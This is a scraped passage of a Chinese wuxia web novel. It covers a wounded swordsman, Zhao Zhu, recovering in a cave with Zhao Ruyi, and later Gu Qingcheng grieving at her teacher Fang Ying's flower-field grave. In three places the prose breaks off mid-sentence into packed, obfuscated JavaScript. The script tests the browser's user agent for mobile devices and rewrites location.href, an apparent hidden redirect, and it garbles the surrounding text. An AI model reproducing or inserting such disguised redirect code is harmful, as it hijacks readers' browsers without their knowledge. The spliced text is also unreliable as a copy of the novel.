她说吃就吃,像是饿极了,每一口都夹着不少饭,洞中只剩下筷子碰到碗壁的声音。 赵逐见过不少姑娘,但是把他扔在一旁自顾自吃饭的,还是头一回见,他暗暗摇头更正自己,就是算上所有人,眼前这也是头一位了。还吃得挺香。 心中各种难言情绪一时在饭香中消散无形,也端起碗扒拉起来。 吃饱喝足。赵如意先吃完,说要出去,洞中便只剩他一人。 赵逐将碗筷放好,合上饭盒,靠在石壁上。 洞外鸟语林风,绿意盎然。他与赵如意只在她年幼时见过一面,分明不甚了解,此时不知怎么,竟生出一种离家已久、他乡忽遇故知的恍若隔世之感来。 这一路东奔西顾,每到一处都不敢久留,不想连累了朋友,纵使心中豪情仍有万丈,却也平添许多凄凉。如今落脚在这一处小小山洞之中,对着一个陌生姑娘,却忽然缓下心神,想将许多话一一倾诉。 赵逐不禁嗤笑自己,若是师父还在,定要责怪他太过优柔寡断了。 又闻脚步声。 赵如意归来,手里拎着两个葫芦,挥手一抛,赵逐顺势抬手接住。 葫芦刚一入手,竟如千年寒冰一般冰凉,从手心开始,一丝寒气游移而至,爽透心尖。葫芦上还沾着水,顺着弧线滴落在衣摆。 “这是——”赵逐刚打开盖子,一股酒香扑面而来,“酒?!” 此时正值炎夏,还有什么会比一壶凉酒更销魂? 赵如意“嗯”一声,坐在一旁拿着剩下的那个葫芦正要打开,赵逐惊喜未定,抬了抬下巴,笑着问道:“诶,你那壶里装的是什么,也是酒么?我当你还是个喜欢糖葫芦的小姑娘,怎么几年不见,也成了酒鬼去了?” 赵如意微微摇头,道:“我不喜欢喝酒。”她嘴角好像弯起了一点似有似无的弧度,赵逐看不太清。 她打开塞子,果然没有味道飘出。只是一壶冰水而已。 赵如意仰头喝了几口。便一抹嘴,颇有些随性地坐上石头,靠在墙壁上。想了想又规规矩矩理好衣摆,盘膝坐直。 赵逐美酒入喉,只觉得这位朋友实在合了心意,即便她真的不是好人,又有什么关系?转念忽地想起,对了,他现在才是那个盗秘笈练邪功又弑师的大恶人吧? 想到此处,不禁苦笑,心中微涩,便痛饮几口。可惜这酒闻着香,却不烈,反而越喝越清醒。 赵逐问:“为什么救我?” 赵如意望着洞口答道:“你曾经救过我。” “一串糖葫芦的恩情?真有意思。”赵逐笑道:“我活到今天才知道,原来这世上黄金万两不是硬通货,糖葫芦才是。” 赵如意垂目,低声道:“你不记得了。” “什么?” “我欠你的是糖葫芦加一条命。”赵如意的声音很平静。 赵逐一愣,这才静下仔细回想,终于想起些细节来。他不再逗笑,认真道:“那时候峦岳派收人,谁都来得,你能留下是你的本事。” 赵如意没有说话。她满心期待着见这一面,救他于此,偿还恩情。然而此刻救了人,自己的心却并没有安宁下来,真是奇怪。 赵逐斟酌片刻,道:“多谢你救我,若我躲过这一劫,日后再见到,你想要什么尽管向我来讨就是。不过……两天之后,我们便在此地分别吧。” 赵如意转头望向他:“你要去哪?” “我要去找我师父。” “不动仙人?他不是……” “他是三年前就走了。只是我有一样东西放在那儿忘了取,还得回去一趟。” 赵如意直愣愣地盯着他,道:“……外面有很多人在找你。” “我知道。正因如此,更要抓住这机会,赶在他们找到我师父那之前把东西取了。” “你的伤还很重,两天……。” 赵逐笑道:“我知道不会好全,但顾不上这么多了。” “这里很偏僻,只有我知道出去的路。” “你指给我路就行,我对方向感知不错,要是实在绕不出去我就原路返回,请你来送我。”赵逐笑道:“到时候你可别嫌我麻烦。” 赵如意低声自语道:“我怎么会嫌你麻烦……”想了想又对赵逐说:“你的剑不见了。” “什么?!” “我找到你的时候,你身边没有兵器。” “你在哪里找到我的?” “……”赵如意一时有些难言。 赵逐好笑道,“怎么了?” “那时候……我把你拉下悬崖,顺着小道滑下去,等到了谷底找到你,背的时候也没注意这些,剑可能是那时候丢的。” 她有些窘迫,低下了头。 赵逐哈哈大笑几声,佯装生气道:“我就说醒来时我的背怎么也这么疼呢,原来是你将我像木头一样扔在地上了。” 赵如意听到这话转过头去。 赵逐又道:“你生气了?我瞎说的,我的背一点也不疼!不过原来你那时候就在崖边等着?那帮人追我那么久竟没有发现你?”他笑弯了腰,扯到痛处,不知是笑还是疼出了泪花,拍着腿叹道:“是了!我也没发现你啊。” 回想当时情形,赵逐大笑道:“我看他们这帮什么狗屁顶尖高手也不过如此,这天下第一真该送给你当当才是!” 他这话真是口不择言,将自己也骂进去了。 赵如意弯了下嘴角,又很快压下,摇摇头,“他们对白玉山不熟。” 缓了缓,赵逐道:“不过剑只要不是被人捡去就好,我们去崖下找找便是,总能找到的,这事非你之过,你也不用自责。” 赵如意轻轻摇了摇头。她并不自责,只是他的决心这样坚定,说两天离开便一天也不肯多留,哪怕伤势未好,仇人在畔,兵器不见也不能让他多犹豫一刻吗? 她抿了抿唇,忽然站起来,走到赵逐身边弯腰拾起饭盒,一言不发往洞口走去。 “诶——!你去哪儿?” “我去拿些换洗衣物,带张席子过来。” 赵逐劝阻道:“哪儿有那么多讲究——” 赵如意却头也不回地离开了。 赵逐有些无奈地笑笑,放下手。 方才从昏迷中醒来已是强打起精神,许是酒足饭饱,等了片刻周边也无一点动静,倦意夹杂着疼痛又如浪潮拍面汹涌而来,催人闭目,便不再抗拒,顺势歪着头睡了过去。 赵如意回来的时候已是夜色。 山洞夜晚有些湿寒,她将席子和包袱放在一旁,生了火,从包袱里取出一件衣服铺在草席上,铺好后蹲着没起,不知在想什么。过了会儿,才走到另一边轻拍赵逐的肩膀。 “怎么了……”赵逐还有些迷糊。 赵如意指指草席,意思是让他过去躺着。 “哦,好……”赵逐扶着石壁,手却没撑住滑下来,有些软弱无力。他皱了皱眉,清醒过来。 她搀着一只胳膊将他慢慢扶起,走到席边放下,赵逐趴在席上,道:“你中午生气了,你为什么生气?”他无奈地笑笑想要翻身。 赵如意没有回答,按住他,道:“你背上有些伤口,上完药再翻过去。” 赵逐便就着脸侧躺在席上的姿势停下来,恰好朝着没有赵如意的那面。 赵如意撕开他身上临时包扎的布段,轻轻揭开,底下衣服已经破了,伤口露在外面,血止了还红彤彤的,看着煞是吓人。 赵如意手上不停,语气平稳:“你忍着点儿。” “嗯。” 想到什么,她歪了歪头,问:“你要吃糖么?” 赵如意指尖感到一阵颤意。 赵逐背对着她笑道:“我又不是三岁小孩,看病还要吃糖,疼便疼了,有什么可怕?” 赵如意另一只碰到糖纸的手调转目标,从衣襟取出来一个小瓶,“嗯。” 药洒在伤口上,赵逐当真一声没吭。 她将准备好的细布从包袱里取出来,折成条,指尖摩梭着布料,忽然唤道:“竹念。” “嗯?”赵逐不解道,“怎么了?” 赵如意摇了摇头,又想起他看不见,道:“我……我听人说,他们都叫你竹念。” “他们……”赵逐失笑,“你碰到谁了?我那些一起喝酒的狐朋狗友跟你乱说什么了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13457852|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“没有,我之前遇到沈先生,他说,你的朋友都叫你竹念,只有与你不熟的人,才天天喊着赵逐招摇。” “别听他瞎说,他一个招摇撞骗的闲人,每天装瞎算命也敢教训别人?赵竹念不过是我自己闲来无事取的字,想叫什么便叫什么,名字而已,哪有那么多分别?” “好……” 赵如意将布条压在他伤口上,道:“我要将你翻过来了。” 赵逐还未反应过来,便被她一手按着背,一手拨动他的肩,整个人被她翻了过来。 赵如意下面那只手还托着背,没让他的背压到席子,直到她把一侧布头拉出来,底下那只手才顺着布把另一头带出来,轻轻从他的背下抽出,将他缓缓放到席上。 他忽然感到一股难忍的搔痒从全身的骨头缝里冒出来,浑身汗毛竖立,像是有根细细的毛在挠他的心。 一定是赵如意的指尖太冰了。 赵逐忍住颤意,握起拳头轻咳一声,道:“看不出来,你力气还挺大的。” “嗯。” 赵如意心无旁骛,把旧的布扔到一旁,在他胸前的伤上了药,把布盖过去,又绕了两圈才绑住。擦了擦手,道:“我力气很大,这一路是我把你背过来的。” 赵逐笑道:“那真得多谢你了,背着这么重一块石头翻山越岭一定很累,要是遇上下坡路,你可要歇一歇让石头自己滚下去,这样才比较方便。” 赵如意勾了下嘴角,把药收起来,又拿出另一瓶到了两粒药丸倒在手心,另一只手扶起赵逐的头,看赵逐将药咽下才道:“不累的。” 她把旧布烧了,抱膝坐在他身侧,问:“晚上我没带吃的,你饿不饿?你要是渴了,这里还有些果子,就是不太新鲜了。” “不饿。” 赵如意站起,将他的酒葫芦拿起,一愣,摇了摇听到声音,惊讶道:“没喝完?”她走过来坐在他旁边,有些疑惑,僵硬着问道:“这酒……很难喝?”她听人说赵逐是个不挑的酒鬼,她找店家要了最好的酒,难道是那人骗她? 赵逐摇头,伸手接过葫芦,笑道:“你辛辛苦苦为我治伤,怎么这时候反而不希望我好了?” “不……” “这酒剩下的,等我好了再喝。”他将葫芦放到一旁,头枕在双臂上,好奇道:”你在太白山这些年,日子过的怎样?都学了些什么?” “日子过的很好,识了些字,学了剑法。” “哦?别的不敢说,不过既然是剑法,那我还能说上两句,你学的什么剑法?” “峦岳派本门的太岳剑。” “我听过这剑,不过好像好从没见过,等我好了咱们切磋一二,你也让我长长见识。” 赵如意摇了摇头,“我还打不过你。” 赵逐道:“那有什么,我现在手不能提,肩不能扛,已经输你许多,到时候你放水让我也赢一回,这样咱们也才一比一,正好打个平手。” “原来我真被他们骗了。”赵如意忽然道。 “此话怎讲?” “白衣青衫碧落剑,冷面公子无情客。这话分明只有前半句是对的。” 话音刚落,两人都笑起来。 过了会儿,赵逐道:“这话不对也对,你要是见过我对沈瘦子……沈先生说话的时候,就能知道这后半句也不假了。” 赵如意摇头道:“你总有说法。”眼前的赵逐这样鲜活,纵使他躺在地上,身受重伤,身上的光芒好像也不减半分。 赵如意曾见过这话的后半句,那是她第二次见到赵逐。他没认出她,目光扫过她也与旁人无异,他在擂台上施展无双的剑法,眉眼间尽是刺人眼目的锋芒。有那么多人为他欢呼,他却笑也不笑,收了剑转身离开。那时候,她明明就站在离他不远的台下,却觉得她与他之间隔着一道深不见底的鸿沟。 赵如意不知怎的,既希望赵逐快些好,快活地施展他的剑法,做那个无人能比的青衫剑客,又想让他好的慢些,永远躺在这只有她知道的山洞里,不要出去。 他们聊了半晌,或许是药开始生效,赵逐的声音渐渐低下去。 赵逐在梦里皱了皱眉头。 赵如意鬼使神差地伸出手抚上去,微凉的指尖碰到他温热的额头却又像被针刺到一样,顷刻收回。 是了,他太累了。她连这都忘了,还一个劲找他说话。 她起身灭了火,将山洞深处的果子拿出来放在离赵逐不远的地方。 走到洞口,低声道,“我明天再来找你。” 59. 故梦 赵逐早上醒来的时候赵如意还没来。 一抹晨光顺着洞口照进来,打在他的脸侧,温热的感觉像是有只调皮的猫在用爪子轻挠,他伸手蹭了脸下醒了。 一夜过去,力气恢复一些,赵逐撑着身体坐起来。 看到旁边放着的水果心中微动,他自己也不知自己脸上露出了傻笑,拿起一个咬了口,皱了皱眉。 有些甜。 吃过一口,赵逐将嘴里的果肉吞下,把果子放在一旁站起来,晃了两晃,慢慢靠到边上,撑着石壁走到洞口。 向下看去,他才发现这处洞口离地很远,仔细再瞧,才看出一条细细的陡峭的小道,从底下隐秘地延伸上来,若非站在洞口往外看,即使看到了也不会以为这是路,只会以为是植物自然生长的结果。 峭壁上的灌木东一块西一块的长着,找不出半点有人走过的痕迹,没有人会注意到这里。 赵逐缓缓呼出一口浊气,这样平静美好的清晨让人感到一种无所事事的清闲。 他过惯了夜里也不能安眠的日子,在山洞里待着的这些时间总是带着某种不真实的光晕,明明是他亲身在过的生活,却又好像与他隔着一段不长不远的距离。 以至于是否真的有赵如意这件事,在她没来之前,也成了难以判断真假的梦幻。 赵逐站在洞口,抱臂靠在石壁上,心痒想要拿起那个没喝完酒的葫芦,却又不想就这样把酒喝完。 看着日头在林子间慢慢地移动,照亮不同的露珠,像珍珠一样发着光,恍惚间觉得自己也好像是那些日夜盼望夫君归来的寂寞妇人,赵逐摇了摇头将这胡思乱想甩出脑袋。 没多久,飘忽的视线突然被一袭白衣吸引,赵如意来了。 他笑着招手,她也挥了挥手。 二人用过饭。 赵逐提议道:“我现在好了很多,我们去找剑吧。” “……好。” 赵如意带他走了半晌,才隔着树冠望见那座山峰。 赵逐看着那么遥远的一段距离,忽道:“如意,我们明天再来吧。” “为……”赵如意不解,回头却见他靠在树上,满头细汗,嘴唇发白,包扎的布条下隐隐透着血色。“你怎么了?!走了这么久,你怎么不说?” 她跑到他身边搀扶。 赵逐分了点重量靠在她身上,道:“我以为还好……或许是我高估自己了。” 赵如意有些着急,“你伤还没好,我……都怪我考虑不周,我带你回去休息,等下我一个人去找吧。” 二人慢慢往回走,赵逐道:“不用了,我怎么好再麻烦你,你救我已经帮了大忙,要是这种小事我都做不来,那我还有什么脸面回去见我师父。” “我……”赵如意纠结片刻,道:“那……等你更好一些,我们再一起去找。可好?” “好。” 两天过的很快,直到第二天结束的晚上,谁也没有再提要走的事。 第四天,赵逐身上的伤好了大半,他又说起找剑的事。 二人去到山崖下,顺着溪流找了大半天,才在下游看到一把斜插进泥土的长剑。 绿色的箭柄露在外头和灌木混在一起,上面还沾着潮湿的泥土和草叶,若不是赵逐对碧落剑太过熟悉,怕是真要错过。 踱步回到山洞,已到半夜,二人一时相顾无言。 半晌,赵如意道:“你早些睡吧,明天……还要早起赶路。” 赵逐道:“药……” “什么?” 赵逐问:“今天不用上药了吗?” 赵如意摇摇头,“你好的很快。”想了想,她取出个掌心一般大的纸包,却拿在手中左右为难。 赵逐笑问:“这是什么?要送给我么?” 赵如意有些窘迫。几天来,她三番两次想将这糖扔了,却一直不忍下手。 听小贩说这糖从徐记要排三天队才能买到一点,味道好,放得久,要是就这样扔了,总觉得有些可惜。 想到明天就要与赵逐分别,终于还是忍不住想再试一次,道:“第一天本想给你的,只是你……你好像不喜欢吃糖,但你明天就要走了,这东西我留着也没用……” “谁说我不爱吃糖的?” “你那天不是……?” “那是骗你的,大丈夫怎么能说自己爱吃糖呢,这样岂不是太没了威风?” 赵如意微楞,“这……” 赵逐伸出手,她将糖包放在他手上。他接过握在手心,笑了笑,道:“既然本就是要送我的,却之不恭,我收下了。” “好……” “你明天会来送我吗?” “明天?你不打算吃过早饭再走吗?” 赵逐一顿,道:“说的是,我要吃过早饭再走的。那你也早些回去休息吧,明天我在这里等你。” “好。” 直到赵如意走到洞口,赵逐忽然叫住她:”如意!” “嗯?” “……没什么。只是想起,我之前说要与你过招,没想到时间这样紧,没时间陪你了。” “没事。你不是说,日后再见,我说什么你都照做吗?那时候我们再过招吧。”真的有相逢的一天吗?赵如意不敢去想。这四天过的太快,自己还没与他相熟,便又要分开了。想起幼时见他离开的背影,只觉得这情景何等相似,她总是留不住他。 心中悲伤不已,却不想让他看到那样软弱的样子。她不会再跟着他了,她已不是十三年前那个孩子了。 “……说的是。”赵逐笑着摆手道:“明天见。” “嗯,明天见。” 赵如意匆匆离开。 赵逐忍不住叹道:“就这样着急啊。”摇摇头坐在席上,看看旁边放着的新衣服,倒在地上的酒葫芦,又看看手里的糖包,打开纸包取出一块放到嘴中。 他自小吃的药比糖多,长大后多饮酒,已经快要忘了世上还有糖这种东西,便是一点甜味也难以适应,令他眉头深皱。此刻却忍着,没把糖嚼碎囫囵地吞进肚中。 直到糖在嘴中消融,才叹了口气,道:“太甜了。” 那甜味迟迟不散,赵逐忍不住又感慨道:“太甜了。” 他将剩下的糖包好放在剑旁边,准备明天带上。 一夜无梦。 赵逐换了新衣,清理掉洞内有人生活过的痕迹,绑好剑,带好东西。 本想先行离去,又劝自己再等等,既已答应与人一起吃早饭,大丈夫怎能这样失信于人? 赵如意来得很快。 吃过早饭,离别时,赵如意指过路,陪他下去,看他步入山林,忽然大喊一声:“赵竹念!” 赵逐转身看她。 赵如意看着他:“我的剑法不如你,但也不差。” “我知道。” “我不会拖你的后腿的。”她说。 赵逐看着她黑色的睫毛,红色的眼睛,在柔和的曦光下,那样亮,那样美。 他忽然回想起小时候被师父支使干活时,最喜欢做的事就是去抓红娘子,那是一种长着黑色翅膀的红色小蝉。原来这事他已经忘了好久。 “嗯。”赵逐轻声应道。 她黑色的睫毛有如蝉翼轻颤,抬起眼睫看着他。 赵如意似乎对接下来的话有些难以启齿,缓缓道:“我……能跟你一起去吗?” 赵逐握紧成拳的手忽然松开,笑了。 “好。” 他们一路走小道,或许是追杀的人以为赵逐已经死在山崖,这一路避人耳目,倒比想象轻松。偶尔遇到杀手,便分头解决再行汇合。 一路上没遇到太多老面孔,风声平静,但赵逐不敢去赌,连夜赶路,终于在月末行至一个离不动仙人住处还有两百里的镇子歇脚。 赵逐道:“我看你与他们过招,实在是大材小用,那群老不死的要是知道我赵逐不但好好活着,还多了个帮手,恐怕胡子都要气歪了。” 赵如意笑笑:“我在暗处帮你就好,他们以为你摔下悬崖,不死也伤,才让我们占了便宜。若是真发现我,那你又要倒霉了。” 赵逐摆摆手,“我只这么一说,自然不能让你惹祸上身。” 赵如意一静,忽然问道:“赵竹念,我算你的朋友吗?” 赵逐惊讶道:“你怎么会这么问,这一路我以为世上再也没有我们这般出生入死的朋友了,若是我哪里做的不对,你告诉我就是。” 赵如意摇摇头,眨了眨眼睛道,“不,我只是觉得,既然我们是朋友,为什么你还要与我分的这么清呢?你与你那些朋友也是一样吗?” “什么?” “你不去找,是怕他们因你沾上麻烦吗?” 赵逐沉默片刻,道:“我只是……如意,如果一个人时日无多,又何必生前还要留下那么多挂念呢?” “?!”赵如意睁大了眼睛。 赵逐笑道:“逗你的,我当然还有很长的命好活,我可是赵逐啊。” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473407|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只是他们……这段时间过去了再说吧。”赵逐又道:“你的剑法不错,只是招数间太过死板,我观你出招,好像总有顾及,这是为什么?你在白玉山发生了什么吗?” 赵如意沉默片刻,道:“没什么,就是……我不喜欢学剑罢了。” 赵逐好奇道,“那你喜欢什么?暗器?长鞭?或者……我以前听师父说起过一种以巧驭器的功 夫,你要是喜欢我讲给你听。” 赵如意笑着摇摇头,“我不喜欢那些。” 赵逐更好奇了。 赵如意想了想,道:“我听人说,武学一道很少以刀法立派,因为世人总觉得刀粗鲁简单,比起剑有些不雅,如果有机会,我想学刀。” 赵逐这一刹听到自己浑身血液寸寸冻结的声音,心仿佛也被寒冰封住,冷了下来,他恍惚听见自己的声音还带着笑意,问:“你想学什么?” 赵如意有些腼腆道:“我想学刀。” 话音落下,赵逐浑身血液突然冻结,夏夜竟使他如坠冰窖。 赵小刀醒来的时候,恍惚还记得梦里赵逐那如坠冰窖的僵硬。 不过他现在还是刀,僵硬实在不算什么。 赵刀刀正帮顾倾城打理方英的遗物,途中忽然想起一件事。 她捶胸顿足,只觉得自己实在对不住周向晚。 赵小刀问:“怎么了,这么为难?” “啊!”赵刀刀揪着头发,“我忽然想起来,陆怀瑾让我告诉周向晚一个消息,我到柳城之后完全把这事忘了。” “那你现在告诉他。” “他拿着那把剑正高兴着呢,我要现在告诉他吗?” “那继续拖着?” “可我已经迟了好久了……” “那就告诉他。” “我……” “刀刀,你不能总是这样,这是周向晚的家事,你能替他做决定吗?你晚说一刻,难道他就不会伤心了吗?” “可我……” “刀刀!” “我知道了我知道了。我现在就去找他。”赵刀刀吸吸鼻子,道:“赵小刀,你好凶啊,你是不是没睡好?” “……没有。”赵小刀又补充道:“你不要胡思乱想。” “哦。” 赵刀刀有些愧疚,把周向晚拉到房子后面,踌躇半天才告诉他周夫人去世的事。 周向晚的表情却远比她想象的平静。 他打趣道:“喂,你怎么好像比我还伤心?” “我没有,我只是担心你……”赵刀刀也说不上来她到底担心周向晚怎样了。 周向晚叹了口气道:“我能怎样呢,我没能在她最需要我的时候陪着她,现在再谈什么伤心,又有什么意义,哭给自己看吗?” 他不知道他现在的表情真的很难看,像是喝了一碗很苦的药,药味窜到五脏六腑,却强忍着不能张嘴,吞下痛苦,还要用言语刺伤自己。 “你别这么说。” “赵刀刀,你知道吗,我只是个铸剑的。” “你不是……” “说实话,我也不知道我是不是找到了我真正想去的那条路。这些日子我总是想起你……” “我?” “我想起你因为一句戏言,就真要去当什么天下第一,就觉得自己好像也没那么傻了。” “你?!”赵刀刀要生气了。 周向晚道:“我只知道,我的路还没有完。” 她看着他,没有说话。 “那前面究竟通向哪里,我想不到,我只知道我现在不后悔。” “嗯。”赵刀刀道:“周向晚,我相信你。” “本公子也相信自己。”周向晚张开双臂。 赵刀刀笑了笑,“这是离别的讯号吗?” 二人相拥。 周向晚道:“这是重逢的约定,我等着你和唐雪来找我。那时候想见我恐怕就不会这么轻易了。” “我相信你。你能造出天下最好的兵器。”赵刀刀闭了闭眼,“你觊觎我的刀那么久,帮我打一个刀鞘吧。” “好。” 道别的仪式就这样落下帷幕。 周向晚有些好奇,问:“你呢?” 赵刀刀与他并肩而立,缓缓道:“我是被推到这里的。如果不是你和唐雪,这一路或许也不会这样顺利。”她说:“接下来的路,我要自己走了。等陪顾倾城安顿完英娘,我想留在这里,到处看看。” “一路顺风。” 60. 重游 茅屋还是原来的样子,田地却将要荒芜了。 方英被葬在山谷深处一处矮小的山洞,陪着她的是柳琢玉的信,曾用过的剑疆,还有那些昙花。 昙花种在离洞口不远的地方,免于白日阳光太过强烈的照射,不会受风雨太多的摧残,却恰好能碰到夜里的月光。白色的花蕾垂在叶片下面,像吊着的小灯,似乎将要绽放,又或许已经开过。 赵刀刀和周向晚先行拜过,走到远处等顾倾城。 顾倾城说,方英很早就告诉她,山谷深处的这片花田就是她的归处。 赵刀刀本以为顾倾城说的花田和那些农田一样,没想到有这么大。 她和周向晚相视一眼,都看到了彼此眼中的震撼。 周向晚托着下巴思索片刻,深沉道:“或许我也该找个这样的地方。” 赵刀刀看了眼花田,又看了看周向晚,欲言又止。 “怎么?” 赵刀刀诚实道:“你在这种地方……有点奇怪。” “哪里奇怪?赵刀刀,本公子琴棋书画样样不差,难道还配不上这里?” 没有配不配一说,赵刀刀只是觉得有更适合他的地方,“陆家剑冢……” “你先别提!”周向晚匆忙制止她。 “为什么?你不是要回去了吗?” “我是要回去,可我现在还没走呢,所以……你先不要提那些。”周向晚展开扇子,挡在他和赵刀刀之间。 赵刀刀歪头问:“有什么区别?” 周向晚放下扇子,慢慢扇着说:“区别嘛……你有没有什么待了很久的地方?说起来我还不知道你家在何处。” “……” 周向晚看赵刀刀神色,便知真给自己问了个正着,见她表情为难中带着古怪,不再追问她家乡何处,只道:“如果现在让你回去,你想吗?” “……别。”赵刀刀投降道:“我不提了。” 她有些好奇:“这是为什么?难道每个人都不想回到故乡?” “很难说,世上每个人都有不一样的感受。就像陆怀瑾,他永远待在陆家,就不会同你我一样。”周向晚道,“不过人总有归处,或许你只是还没有找到那个地方。” “那你呢?” “我?”周向晚叹了口气,漫不经心笑道:“我日子过的很好,为什么要去想这些为难自己?有些东西想起来是会痛的,但只要你不去想,痛便能减轻一些。” “我不痛。”赵刀刀不知想到什么,忍不住笑了下。“我只是不想回去而已。” “……赵刀刀,你要是再偷笑,咱们就分开等吧。” “我不笑了。”赵刀刀收起笑容,严肃道。 “唉,我看只要能让你练刀,去哪里都没有分别。”周向晚用扇子敲了敲头,无奈道。 “我……”赵刀刀试着去想,忽然想起那道恢宏的山门,想起过去的那些日夜,低声喃喃道:“有分别的。” 周向晚没有听清,只见她低下头一拂衣摆坐在地上,问:“怎么了?” “有区别的,只是还没到痛苦的程度。” 赵刀刀的声音从低处传来。 周向晚蹲下去,坐在她旁边,拿出扇子轻轻扇动,道:“那也很好。” “好吗?”赵刀刀移了移身子,悄悄坐到周向晚的扇风能波及的地方。 “有些事比毒药还要让人肝肠寸断,如果一生都遇不到这样的事,那不是很幸运吗?” “哦。”赵刀刀问:”周向晚,你遇到过吗?” “没有。” “……那你和我说这些?” “你不是说我不配这里吗,未来会有什么变化谁都说不清,也许有一天,我也会有这么大一片花田呢?” 赵刀刀还以为周向晚和她说这么多是自己有所感悟,她咬牙切齿做了个恶狠狠的表情,道:“你永远不会有的!”说着挪到周向晚三尺之外坐下,“我们还是分开等吧!” 周向晚笑了笑,躺在花丛中。 “扇子给你了,本公子心静自然凉。” 周向晚合起扇子,轻轻一抛。赵刀刀哼了一声接住。 也不知道顾倾城什么时候才会出来,或许要到天黑了吧。 周向晚着放空。远处山林的叶子苍翠欲滴,树顶连着湛蓝如洗的天空,白云寥寥无几,在沉静地飘。 清淡的花香混着泥土青草的香气顺着穿过山谷的风飘上来,笼罩在身边,又不留情地飘走。一阵一阵,只要风不完,清香总会奉陪。 这样的时间是不是从未来的岁月里偷来的? 山谷里的景色仿佛游离在生命之外,让人忘却了一切烦恼。只想每天陪着这些花,看它们绽放,凋零,不断生长,仿佛自己也如这些无忧无虑的生灵一样,不舍昼夜。 如果雨再慢些来。 再多待会儿就好了。 顾倾城很少来这里,她不喜欢这山谷,也没心思欣赏什么。 仅有的一些印象里,她记得自己还嫉妒过这些花儿。 方英照料它们相当用心。她从前没养过花,到这里之后,分明是新手,却打定主意每年都要种些新的品种,一开始手忙脚乱,顾倾城会跑去帮她,只是帮过几次就不愿去了——花比人还要娇贵,世上怎么会有这样的道理? 浅粉,鹅白,淡黄,青蓝,深紫……这些花有数不清的颜色,方英种了很久,花田一片接着一片,像织了一张长长的布,许多已经荒废了,就自己随意地生长,被青草挤占,也被衬托地更美,到现在,已经分不清哪些是野花,哪些是曾经种下的。 它们就这样染遍了整个山谷,延绵到更深处的这几株昙花。 有的花败了,更多的绽放着。 顾倾城想起师父曾对她说:“我养这些花和当年练功一样用心,但你看,那些野花枝繁叶茂,个个儿都比我养的水灵,难道这世上真是很多事都非要对的人去做,其他人强求不来吗?倾城,我觉得那很没道理。我一开始练功,也只是花拳绣腿,做一件事急不得,只要耐下性子坚持,总有厉害的时候,就像这些野草跟我的花争地方,但它们只能得意一时,总有一天这里会开满我的花。” 说:”倾城,我对医术并不精通,你父母留下的医书药方现在由我一个外人保管,你心中一定有许多不满。有个朋友告诉我,花是很美的东西,看了心情会变得很好,你要是烦我,也可以来这里散心。这些花陪着你,好过我。” 说:”虽然种了这许多花,但我还是不懂什么诗情画意,风花雪月,只是个会点剑法的庸人罢了。倾城,你看这些花这么好看,如果能被懂它们的人看到,那就好了。” 她以前总奇怪师父把这些花看的太重,此刻看着花枝摇曳,终于知道,方英养花从来不是为了赏花,只是在等一个人。 那人一定是个会欣赏这些美的远方的画家。 可惜山谷只等来一封远方的信。 四下无人,顾倾城跪在地上,额头抵着方英的碑,忽然体会到一股难言的寂寞虚无,师父在山谷里的每日每夜是否都是这样度过? 冰冷的石碑上绑着剑疆,顾倾城伸手抚摸,那黑色的编绳仿佛还留有余温。 方英于她不仅是师父,还是最亲近的长辈,她的第二个母亲,此刻抱着石碑,顾倾城忽然有许多话不受控制地涌上心头,却梗在喉头。她像个牙牙学语的小孩一样张了张口,却只能发出“啊”“啊”的单音。 顾倾城鼻头一酸,眼眶发红,忍不住落下泪来,放声痛哭。 山谷的夏天又下起雪了。 蜂蝶成群,翩翩起舞,洁白的花瓣从两旁的山坡缓缓飘落,像一场大雪,雪花在风里飘飘然地打着转,铺满了山谷。 世上再也不会有这样美丽的花路。 又等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13489617|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了五六日,雨水终于姗姗来迟。 三人在雨停的间隙,踩着泥泞小道离开了山谷。 周向晚背着剑离开了柳城。 送走周向晚后,赵刀刀本想出去住,但顾倾城说何必麻烦,便又在顾家暂时住下。 柳城实在是个好地方,不过赵刀刀出来得轻松,却总是记不住回顾家的路,每次都绕到不得不有人来接。 早上吃过包子,赵刀刀回忆着顾倾城说的路线,朝一处破庙走去。 她今天打算仔细看看这害她频频中招的破庙到底有什么古怪。 刚过转街角,赵刀刀突然感到一阵头晕,眼前一花,天旋地转间,她扶着街边的一棵树稳住身形。 树干粗糙硌手,是一棵半死不活的树,繁复的枝桠上只有几片叶子还在生长。 “怎么了?”赵小刀问。 “没事。” 赵刀刀摇头,揉了揉眼抬头看去,那个普通的破庙就在眼前。已经到了。 她站直身子道,“小刀,我第一次到这只觉得诡异,现在不知道为什么,不但不觉诡异,还觉得有点眼熟。说不定我做梦还梦到过这里呢。” “哦?这是什么地方?” 